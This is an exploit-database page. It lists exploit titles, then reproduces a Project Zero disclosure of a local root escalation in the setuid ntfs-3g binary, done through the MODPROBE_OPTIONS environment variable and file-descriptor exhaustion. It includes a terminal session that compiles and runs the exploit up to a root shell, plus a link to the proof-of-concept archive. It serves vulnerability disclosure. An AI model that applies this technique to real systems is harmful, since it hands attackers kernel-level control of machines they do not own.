2f4b2745b1
11 new exploits Linux Kernel 3.10.0 (CentOS7) - Denial of Service LG G4 - lgdrmserver Binder Service Multiple Race Conditions LG G4 - lghashstorageserver Directory Traversal LG G4 - Touchscreen Driver write_log Kernel Read/Write Google Android - Inter-process munmap in android.util.MemoryIntArray Google Android - android.util.MemoryIntArray Ashmem Race Conditions Microsoft Edge - TypedArray.sort Use-After-Free (MS16-145) ShadeYouVPN Client 2.0.1.11 - Privilege Escalation ntfs-3g - Unsanitized modprobe Environment Privilege Escalation MLdonkey 2.9.7 - HTTP DOUBLE SLASH Arbitrary File Disclosure MLdonkey 2.9.7 - Arbitrary File Disclosure Mldonkey 2.5 -4 - Web Interface Error Message Cross-Site Scripting MLdonkey 2.5-4 - Cross-Site Scripting Piwik 2.14.0 / 2.16.0 / 2.17.1 / 3.0.1 - Superuser Plugin Upload (Metasploit) Joomla! Component NeoRecruit 1.4 - 'id' SQL Injection Joomla! Component NeoRecruit 1.4 - 'id' Parameter SQL Injection taifajobs 1.0 - (jobid) SQL Injection taifajobs 1.0 - 'jobid' Parameter SQL Injection Pyrophobia 2.1.3.1 - modules/out.php id Parameter Cross-Site Scripting Pyrophobia 2.1.3.1 - admin/index.php Multiple Parameter Traversal Arbitrary File Access Pyrophobia 2.1.3.1 - Cross-Site Scripting Pyrophobia 2.1.3.1 - Traversal Arbitrary File Access Itech B2B Script 4.29 - Multiple Vulnerabilities
66 lines
3.5 KiB
Text
Executable file
66 lines
3.5 KiB
Text
Executable file
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
|
|
|
|
ntfs-3g is installed by default e.g. on Ubuntu and comes with a
|
|
setuid root program /bin/ntfs-3g. When this program is invoked on a
|
|
system whose kernel does not support FUSE filesystems (detected by
|
|
get_fuse_fstype()), ntfs-3g attempts to load the "fuse" module using
|
|
/sbin/modprobe via load_fuse_module().
|
|
|
|
The issue is that /sbin/modprobe is not designed to run in a setuid
|
|
context. As the manpage of modprobe explicitly points out:
|
|
|
|
The MODPROBE_OPTIONS environment variable can also be used
|
|
to pass arguments to modprobe.
|
|
|
|
Therefore, on a system that does not seem to support FUSE filesystems,
|
|
an attacker can set the environment variable MODPROBE_OPTIONS to
|
|
something like "-C /tmp/evil_config -d /tmp/evil_root" to force
|
|
modprobe to load its configuration and the module from
|
|
attacker-controlled directories. This allows a local attacker to load
|
|
arbitrary code into the kernel.
|
|
|
|
In practice, the FUSE module is usually already loaded. However, the
|
|
issue can still be attacked because a failure to open
|
|
/proc/filesystems (meaning that get_fuse_fstype() returns
|
|
FSTYPE_UNKNOWN) always causes modprobe to be executed, even if the
|
|
FUSE module is already loaded. An attacker can cause an attempt to
|
|
open /proc/filesystems to fail by exhausting the global limit on the
|
|
number of open file descriptions (/proc/sys/fs/file-max).
|
|
|
|
I have attached an exploit for the issue. I have tested it in a VM
|
|
with Ubuntu Server 16.10. To reproduce, unpack the attached file,
|
|
compile the exploit and run it:
|
|
|
|
user@ubuntu:~$ tar xf ntfs-3g-modprobe-unsafe.tar
|
|
user@ubuntu:~$ cd ntfs-3g-modprobe-unsafe/
|
|
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./compile.sh
|
|
make: Entering directory '/usr/src/linux-headers-4.8.0-32-generic'
|
|
CC [M] /home/user/ntfs-3g-modprobe-unsafe/rootmod.o
|
|
Building modules, stage 2.
|
|
MODPOST 1 modules
|
|
CC /home/user/ntfs-3g-modprobe-unsafe/rootmod.mod.o
|
|
LD [M] /home/user/ntfs-3g-modprobe-unsafe/rootmod.ko
|
|
make: Leaving directory '/usr/src/linux-headers-4.8.0-32-generic'
|
|
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.order: No such file or directory
|
|
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.builtin: No such file or directory
|
|
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./sploit
|
|
looks like we won the race
|
|
got ENFILE at 198088 total
|
|
Failed to open /proc/filesystems: Too many open files in system
|
|
yay, modprobe ran!
|
|
modprobe: ERROR: ../libkmod/libkmod.c:514 lookup_builtin_file() could not open builtin file '/tmp/ntfs_sploit.u48sGO/lib/modules/4.8.0-32-generic/modules.builtin.bin'
|
|
modprobe: ERROR: could not insert 'rootmod': Too many levels of symbolic links
|
|
Error opening '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
|
|
Failed to mount '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
|
|
we have root privs now...
|
|
root@ubuntu:~/ntfs-3g-modprobe-unsafe# id
|
|
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lxd),123(libvirt),127(sambashare),128(lpadmin),1000(user)
|
|
|
|
Note: The exploit seems to work relatively reliably in VMs with
|
|
multiple CPU cores, but not in VMs with a single CPU core. If you
|
|
test this exploit in a VM, please ensure that the VM has at least two
|
|
CPU cores.
|
|
|
|
|
|
Proof of Concept:
|
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41356.zip
|